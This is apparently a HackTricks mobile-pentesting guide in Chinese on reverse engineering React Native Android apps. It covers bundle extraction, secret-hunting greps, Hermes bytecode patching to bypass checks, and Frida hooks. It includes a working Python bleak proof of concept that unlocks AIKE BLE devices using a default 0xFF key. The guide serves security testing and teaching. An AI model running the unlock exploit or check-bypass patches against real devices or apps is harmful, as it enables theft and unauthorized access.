React Native 应用分析

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

要确认应用是否基于 React Native 框架构建,请执行以下步骤:

  1. 将 APK 文件重命名为 zip 扩展名并解压到新文件夹,使用命令 cp com.example.apk example-apk.zipunzip -qq example-apk.zip -d ReactNative

  2. 进入新创建的 ReactNative 文件夹并定位 assets 文件夹。在该文件夹内,您应该能找到文件 index.android.bundle,其中包含压缩的 React JavaScript。

  3. 使用命令 find . -print | grep -i ".bundle$" 来搜索该 JavaScript 文件。

注意:如果您得到的是 Android App Bundle (.aab) 而不是 APK,请先生成一个 universal APK,然后提取 bundle:

# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite

# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/

JavaScript 代码

如果检查 index.android.bundle 的内容,你会发现应用的 JavaScript 代码(即使已压缩),你可以分析它以发现敏感信息和漏洞

由于该 bundle 实际上包含了应用的全部 JS 代码,可以使用 工具 react-native-decompiler 将其分割成不同的文件(可能使逆向工程更容易)。

Webpack

为了进一步分析 JavaScript 代码,你可以将文件上传到 https://spaceraccoon.github.io/webpack-exploder/ 或者按照以下步骤操作:

  1. 在相同目录下创建一个名为 index.html 的文件,内容如下:
<script src="./index.android.bundle"></script>
  1. 在 Google Chrome 中打开 index.html 文件。

  2. Command+Option+J(OS X)Control+Shift+J(Windows) 打开开发者工具栏。

  3. 在开发者工具栏中点击 “Sources”。你应该会看到一个被拆分成多个文件夹和文件的 JavaScript 文件,构成主 bundle。

如果你找到名为 index.android.bundle.map 的文件,你就可以以未压缩(unminified)的格式分析源代码。map 文件包含 source mapping(源映射),允许你将压缩后的标识符映射回原始标识符。

要搜索敏感凭证和端点,请按以下步骤操作:

  1. 确定要用于分析 JavaScript 代码的敏感关键字。React Native 应用通常会使用第三方服务,比如 Firebase、AWS S3 服务端点、私钥等。

  2. 在这个具体案例中,观察到应用使用了 Dialogflow 服务。搜索与其配置相关的模式。

  3. 幸运的是,在侦察过程中在 JavaScript 代码中发现了敏感的硬编码凭证。

Quick secrets/endpoint hunting in bundles

这些简单的 greps 往往能在压缩的 JS 中发现有趣的指示:

# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"

# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"

# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"

# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"

# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"

如果你怀疑存在 Over-The-Air 更新框架,也要查找:

  • Microsoft App Center / CodePush deployment keys
  • Expo EAS Updates 配置 (expo-updates, expo\.io, 签名证书)

更改 JS 代码并重新构建

在这种情况下更改代码很容易。你只需将应用重命名为使用扩展名 .zip 并解压。然后你可以 修改此 bundle 中的 JS 代码并重新构建应用。这通常足以让你在应用中 inject code 以进行测试。

Hermes bytecode

如果 bundle 包含 Hermes bytecode,你 将无法访问应用的 Javascript 代码(甚至无法访问压缩后的版本)。

你可以通过运行以下命令检查该 bundle 是否包含 Hermes bytecode:

file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96

不过,你可以使用工具 hbctool、支持较新版 bytecode 的 hbctool 更新分支、hasmerhermes_rs(Rust 库/API)或 hermes-decdisassemble the bytecodedecompile it to some pseudo JS code。例如:

# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm   ./hasm_out ./index.android.bundle

# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out

# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler   ./index.android.bundle /tmp/my_output_file.js

Tip:开源 Hermes 项目在特定的 Hermes 发布版本中也随附了一些开发者工具,例如 hbcdump。如果你编译出与生成该 bundle 所用的 Hermes 版本相匹配的版本,hbcdump 可以导出函数、字符串表和字节码以便进行更深入的分析。

修改代码并重建 (Hermes)

理想情况下,你应该能够修改反汇编后的代码(改变一个比较、某个值,或任何你需要修改的内容),然后重建字节码并重建应用。

  • 原始的 hbctool 支持对 bundle 进行反汇编并在修改后重新组装,但历史上只支持较旧的字节码版本。社区维护的 forks 扩展了对更新 Hermes 版本(包括 mid-80s–96)的支持,通常是修补现代 RN 应用时最实用的选择。
  • 工具 hermes-dec 不支持重建字节码(仅为反编译器/反汇编器),但它在浏览逻辑和导出字符串方面非常有用。
  • 工具 hasmer 旨在支持多个 Hermes 版本的反汇编与汇编;汇编功能仍在完善中,但值得在较新的字节码上尝试。

使用类似 hbctool 的汇编器的最小工作流程:

# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm

# 2) Edit a guard or feature flag (example: force boolean true)
#    In the relevant .hasm, replace a LoadConstUInt8 0 with 1
#    or change a conditional jump target to bypass a check.

# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle

# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)

Note that Hermes bytecode format is versioned and the assembler must match the exact on-disk format. If you get format errors, switch to an updated fork/alternative or rebuild the matching Hermes tooling.

动态分析

你可以尝试对应用进行动态分析,方法是使用 Frida 启用 React 应用的开发者模式,并使用 react-native-debugger 附加到它上面。不过,显然这需要应用的源代码。更多信息见 https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/

在 release 构建中使用 Frida 启用 Dev Support(注意事项)

有些应用意外地包含了可以切换 Dev Support 的类。如果存在,你可以尝试强制 getUseDeveloperSupport() 返回 true:

// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});

警告:在正确构建的 release builds 中,DevSupportManagerImpl 和相关的仅用于调试的类会被剥离,切换此标志可能会导致应用崩溃或无效。当此方法可行时,通常可以暴露 dev 菜单并附加调试器/检查器。

RN 应用中的网络拦截

React Native Android 通常在底层依赖 OkHttp(通过 Networking native module)。要在动态测试期间在未 root 的设备上拦截/观察流量:

  • 使用系统代理 + 信任 user CA 或使用其他通用的 Android TLS 绕过技术。
  • RN 特定提示:如果应用错误地在 release 中打包了 Flipper(调试工具),Flipper Network 插件可以暴露请求/响应。

有关通用的 Android 拦截和 pinning 绕过技术,请参阅:

Make APK Accept CA Certificate

Objection Tutorial

使用 Frida 的运行时 GATT 协议发现(Hermes-friendly)

当 Hermes 字节码阻止对 JS 的简单静态分析时,改为 hook Android BLE 栈。android.bluetooth.BluetoothGattBluetoothGattCallback 暴露了应用发送/接收的所有内容,允许你在没有 JS 源码的情况下逆向专有的 challenge-response 和命令帧。

Frida GATT 日志记录器 (UUID + hex/ASCII dumps) ```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');

G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) { console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue())); return this.writeCharacteristic(c); }; G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) { console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v)); return this.writeCharacteristic(c,v,t); }; Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) { console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n); }; Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) { var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v)); return this.onCharacteristicRead(g,c,s); }; Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) { var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v)); return this.onCharacteristicChanged(g,c); }; });

</details>

Hook `java.security.MessageDigest` 以指纹识别基于哈希的握手并捕获确切的输入拼接:

<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});

一个真实世界的 BLE 流程如下:

  • 00002556-1212-efde-1523-785feabcd123 读取 challenge。
  • 计算 response = SHA1(challenge || key),其中该 key 在所有设备上都默认配置为 20-byte 的 0xFF
  • 将 response 写入 00002557-1212-efde-1523-785feabcd123,然后在 0000155f-1212-efde-1523-785feabcd123 上发送命令。

一旦认证通过,命令为发送到 ...155f... 的 10 字节帧([0]=0x00[1]=registry 0xD4[3]=cmd id[7]=param)。示例:解锁 00 D4 00 01 00 00 00 00 00 00,锁定 ...02...,节能模式开启 ...03...01...,打开电池舱 ...04...。通知到达 0000155e-1212-efde-1523-785feabcd123(2-byte registry + payload),并且可以通过向 00001564-1212-efde-1523-785feabcd123 写入 registry ID 然后从 ...155f... 读取来轮询 registry 值。

使用共享/默认 key 时,challenge-response 机制形同虚设。任何附近的攻击者都可以计算出 digest 并发送特权命令。一个最小的 bleak PoC:

Python (bleak) BLE auth + unlock via default key ```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"

def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())

</details>

## 流行 RN 库的近期问题(检查要点)

在审计 JS bundle 或 native libs 中可见的第三方模块时,检查已知漏洞并在 `package.json`/`yarn.lock` 中核实版本。

- react-native-mmkv(Android):2.11.0 之前的版本会把可选的加密密钥记录到 Android 日志。如果 ADB/logcat 可用,秘密可能被恢复。确保 >= 2.11.0。迹象:使用了 `react-native-mmkv`,日志语句提到 MMKV init with encryption。CVE-2024-21668。
- react-native-document-picker:< 9.1.1 的版本在 Android(文件选择)上存在路径遍历漏洞,已在 9.1.1 修复。验证输入和库版本。

快速检查:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks